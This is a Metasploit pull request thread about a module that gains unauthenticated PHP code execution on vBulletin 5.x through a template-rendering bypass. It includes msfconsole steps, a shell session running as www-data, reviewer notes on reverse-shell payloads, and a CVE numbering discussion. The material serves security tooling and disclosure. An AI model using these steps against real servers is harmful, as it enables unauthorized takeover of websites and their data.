Vbulletin widget template rce

[Zenofex]

This pull request adds a vBulletin 5.x remote code execution module.

This module exploits a logic bug within the template rendering code of vBulletin 5.x. The module uses the vBulletin template rendering functionality to render the 'widget_tabbedcontainer_tab_panel' template while also providing the 'widget_php' argument which causes the former template to load the latter bypassing filters originally put in place to address 'CVE-2019-16759'. This also allows the exploit to reach an eval call with user input allowing the module to achieve PHP remote code execution on the target.

This module has been tested successfully on vBulletin version 5.6.2 on Ubuntu Linux 19.04 .

Verification

1. Do: use exploit/multi/http/vbulletin_widget_template_rce
2. Do: set RHOSTS [IP]
3. Do: set VHOST [HOSTNAME]
4. Do: set LHOST [IP]
5. Do: set TARGETURI [PATH]
6. Do: set PAYLOAD [PAYLOADNUM]
7. Do: run

Example Output

msf6 > use exploit/multi/http/vbulletin_widget_template_rce
[*] Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set VHOST vb.local
VHOST => vb.local
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set TARGETURI /
TARGETURI => /
msf6 exploit(multi/http/vbulletin_widget_template_rce) > set PAYLOAD 5
msf6 exploit(multi/http/vbulletin_widget_template_rce) > run
[*] Executing automatic check (disable AutoCheck to override)
[+] The target is vulnerable.
[*] Sending php/bind_perl command payload
[*] Started bind TCP handler against 127.0.0.1:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 127.0.0.1:4444) at 2020-08-09 06:29:57 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[todb-r7]

I'll tag this with a CVE ID today, and also make sure that the folks at vBulletin know about it.

[smcintyre-r7]

This all looks good to me, great use of AutoCheck! It's not every day we can actually exploit the vulnerability within the check method to determine it's presence so that's awesome.

The only request I have is around some style items. There's a few things caught by rubocop when running it on the module. I'm going to tag this as "needs-linting" and there will be some instructions that come along with that.

[label-actions]

Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.

We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:

rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>

You can automate most of these changes with the -a flag:

rubocop -a <directory or file>

Please update your branch after these have been made, and reach out if you have any problems.

[Zenofex]

Made the requested changes

[smcintyre-r7]

Alright, thanks for that last commit! With that in place this looks good to land. I successfully tested the PHP meterpreter payload, the CMD payload with output using the default cmd/unix/generic and the CMD payload for a reverse shell using cmd/unix/reverse_php_ssl.

Thanks @Zenofex !

[smcintyre-r7]

Release Notes

New module exploits/multi/http/vbulletin_widget_template_rce gains unauthenticated remote code execution on vulnerable vBulletin targets (identified as CVE-2020-7373). Upon receiving a specially-crafted HTTP request from this module, a vulnerable target will allow arbitrary PHP code execution within the context of the application server (a non-root account).

[cfi-gb]

@todb-r7

I'll tag this with a CVE ID today, and also make sure that the folks at vBulletin know about it.

Could you clarify where "CVE-2020-7373" added in 19618d9 is coming from? It seems https://nvd.nist.gov/vuln/detail/CVE-2020-17496 is used for this by Mitre.Thanks

[todb-r7]

Hi @cfi-gb -- this is from Rapid7's pool of CVE numbers we use to assign for research-based vulnerabilities in 3rd party products. It'll be updated in the next day or two on MITRE's side. (All unassigned CVEs will show as RESERVED by MITRE until they're populated downstream, which is why it might appear to be a MITRE thing right now.)

[cfi-gb]

Thanks for clarification. Then it seems two CVEs (CVE-2020-7373 which is currently in RESERVED state and CVE-2020-17496 which is already published) got assigned for the very same vulnerability and one might need to be rejected to avoid duplicates.

[todb-r7]

Well, heck. Thanks @cfi-gb . Do you know from whence CVE-2020-17496 came from? It was issued by MITRE, so I'm curious who the go-getter was who requested the number. :)

In the meantime, I'll fix up the module to use that, rather than have two.

[cfi-gb]

Unfortunately i don't know there the second is coming from, hoped to get this info here :-)

Ref for the change of the CVE to the one issued by MITRE: #13997